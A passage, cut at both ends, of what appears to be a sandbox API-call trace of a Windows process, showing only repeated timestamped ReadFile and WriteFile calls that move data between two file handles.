lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.386] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.387] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.425] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.429] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.430] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.430] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.431] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.432] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.433] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.433] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.434] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.435] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.435] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.436] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.438] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.439] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.440] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.441] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.441] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.443] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.444] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.444] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.445] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.447] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.468] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.469] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.470] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.470] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.470] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.471] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.483] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.483] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.485] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.485] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.485] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.486] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.488] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.489] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.490] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.491] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.491] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.492] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.493] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.494] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.495] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.495] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.495] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.497] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.535] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.539] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.541] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.541] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.542] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.543] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.545] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.546] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.547] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.547] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.548] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.549] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.551] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.552] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.553] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.554] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.554] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.555] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.556] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.557] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.558] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.558] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.559] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.560] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.562] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.563] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.564] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.564] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.565] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.566] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.568] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.568] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.579] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.580] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.580] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.581] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.583] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.585] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.586] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.588] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.589] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.589] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.590] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.591] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.591] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.592] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | 